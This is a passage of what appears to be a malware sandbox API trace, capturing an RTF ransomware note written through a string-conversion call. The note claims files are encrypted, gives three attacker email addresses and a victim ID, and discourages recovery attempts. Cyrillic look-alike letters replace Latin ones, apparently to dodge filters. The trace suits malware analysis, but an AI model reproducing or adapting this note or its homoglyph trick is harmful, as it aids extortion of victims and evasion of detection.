s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd 